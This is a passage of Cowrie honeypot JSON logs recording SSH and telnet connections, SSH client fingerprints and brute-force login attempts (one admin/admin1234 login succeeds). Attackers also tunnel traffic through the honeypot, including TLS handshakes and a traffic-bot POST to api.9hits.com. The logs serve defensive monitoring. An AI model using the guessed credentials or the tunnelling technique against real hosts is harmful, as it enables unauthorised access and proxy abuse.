**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 e\\x1d\\rP\\x12Z[:u\\x94\\x8b\\xd1\\xdfJ\\t\\xfa\\x01O\\x85-\\xec\\xff\"P!\\xfe\\xe2\\x7fU\\x17:}\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03r8\\x84\\t\\x12\\xf4\\xdf\\x0c\\xeej\\xa3\\xc5\\x7f\\x1f\\x94\\x0e\\xf7\\xa0p\\x12\\x0e\\x8b\\x8a\\x85V \\xa6X\\x0e=\\xe4\\xd4 \\x9eqS;\\xa2.s\\x9dd\\xc1a\\x86\\xb9c\\xe1\\x9ce\\xf3\\x133\\x99\\xf4lD\\x0f\\xc3z\\xdd\\xc6\\x04\\x8b|\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 e\\x1d\\rP\\x12Z[:u\\x94\\x8b\\xd1\\xdfJ\\t\\xfa\\x01O\\x85-\\xec\\xff\"P!\\xfe\\xe2\\x7fU\\x17:}\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:26.353787Z","src_ip":"63.141.242.2","session":"599354918664","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:26.468838Z","session":"599354918664","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:26.502278Z","src_ip":"63.141.242.2","session":"599354918664","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x97\\xd9\\x1e\\x12zq\\x97S\\x9e\\x18\\xea\\x95\\x85\\xee!\\xd7\\x80\\x83\\x9cF\\x94\\x81\\\\\\n\\x9aM\\xcd\\xce\\xd6\\x828\\xbb @\\xde>|\\xc5\\xf4^\\xac\\xbc1\\x1d+\\xb7\\xdfNLi\\x97\\xf6\\x12\\xf4m\\xc3\\xcaHEao\\xd3\\x84\\xc0\\xb5\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x89M\\xe2\\xc8\\xc4\\xd5\\x86\\xa1\\xf2\\x86;\\xfc\\xea\\xf5b\\xb3\\x1c\\xd7I\\x19y9)\\xac\\xd3\\xf4G?\\x13\\xb4>B\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x97\\xd9\\x1e\\x12zq\\x97S\\x9e\\x18\\xea\\x95\\x85\\xee!\\xd7\\x80\\x83\\x9cF\\x94\\x81\\\\\\n\\x9aM\\xcd\\xce\\xd6\\x828\\xbb @\\xde>|\\xc5\\xf4^\\xac\\xbc1\\x1d+\\xb7\\xdfNLi\\x97\\xf6\\x12\\xf4m\\xc3\\xcaHEao\\xd3\\x84\\xc0\\xb5\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x89M\\xe2\\xc8\\xc4\\xd5\\x86\\xa1\\xf2\\x86;\\xfc\\xea\\xf5b\\xb3\\x1c\\xd7I\\x19y9)\\xac\\xd3\\xf4G?\\x13\\xb4>B\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:26.505687Z","src_ip":"63.141.242.2","session":"599354918664","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.148.145.132","src_port":55609,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea04aa34587e","protocol":"ssh","message":"New connection: 23.148.145.132:55609 (10.17.0.5:22) [session: ea04aa34587e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:30.671474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:30.675502Z","src_ip":"23.148.145.132","session":"ea04aa34587e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:30.786277Z","src_ip":"23.148.145.132","session":"ea04aa34587e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":43488,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f034f93d22f","protocol":"telnet","message":"New connection: 69.6.249.0:43488 (10.17.0.5:23) [session: 6f034f93d22f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:32.789436Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:33.447618Z","src_ip":"23.148.145.132","session":"ea04aa34587e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.99.213.222","src_port":47702,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ad1b8673207","protocol":"ssh","message":"New connection: 2.99.213.222:47702 (159.203.135.109:22) [session: 4ad1b8673207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:49.249355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:49.254067Z","src_ip":"2.99.213.222","session":"4ad1b8673207","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:49.357359Z","src_ip":"2.99.213.222","session":"4ad1b8673207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tunnel","password":"qwe123","message":"login attempt [tunnel/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:49.787755Z","src_ip":"2.99.213.222","session":"4ad1b8673207","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":57858,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e288473dcf7","protocol":"ssh","message":"New connection: 51.250.105.222:57858 (159.203.135.109:22) [session: 2e288473dcf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:50.679060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:50.683850Z","src_ip":"51.250.105.222","session":"2e288473dcf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:50.813670Z","src_ip":"51.250.105.222","session":"2e288473dcf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:50.888437Z","src_ip":"2.99.213.222","session":"4ad1b8673207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:51.203598Z","src_ip":"51.250.105.222","session":"2e288473dcf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:52.335627Z","src_ip":"51.250.105.222","session":"2e288473dcf7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:54.057864Z","session":"ea04aa34587e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:54.081272Z","src_ip":"23.148.145.132","session":"ea04aa34587e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/89.0.4389.90 Mobile/16E227 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=VFJhXkEzOT5CdCtWVEtjWQ%3D%3Dn1987IoIW9sE%2FD6FqxdSC41VIdmT8cqvBlgE2K%2FGgVxB3TYAtPDCNSXQFdS3U8gn7UxRXA4aZ%2BtHJeXV1St9u84K6KxPPLhuEibsOrDIzn6hF69PtboJ7QbSheA0L%2F209cF1XyqcPr2jG6EDx3qYPng74ajpt95SfQPrBsJeld5oLg2EusJGL2vfPsAj%2FgUXzHnrQq8SQVwTp6CsUXBRY%2F4aIIw0YHQQ1H4CusYXoZ8SUFj%2BbIVmiZfRPqY7vcVhZCU9oYm%2F7dgNKPXf9BE04WRyxEWIJrtr%2Ban3R7fR36Q%2FFUtDa%2FRqURSch1PhDsEM8Pt1aLuGQd00lFEqHWuT%2F%2FMnk9%2FRoBtASr8V8EsuEcdJGDX0S%2FkMLxPu1d8SCSqzz9nZyvfC7YcwnEjBxBVaHWoFGTuU1kxhx43Up6n07KySNryBHDyGt0J3%2Fbs7X0xeTYfIcHvQvqQuMu3X3uZOty9r1f1jeYbgms4kw7dCsna6mYpoA0VkkZIIK%2B%2FtBK3nVs0rFxUqw33pa%2Bl2Q%2FFaS5pgZJOGHj3YToInfXbHnkXLH%2FfmXgM2xdHIza5u%2Flap%2FNyAtXELVjY7UXvYPeTf0nbQjUhQgOCpts8zOqSSCYc1xSKi1VUZ9e9M2%2BHmKmJkKl%2FU7XFpnzN1pJTqFAmD1O6nYR%2B%2Farh3sMF8bbuZ8L3Ulzem%2BLquu4LYkDwuArkQsIrYsvX4yELIuFxJk83tpGftHAElCapyxcO19%2FsMpq7t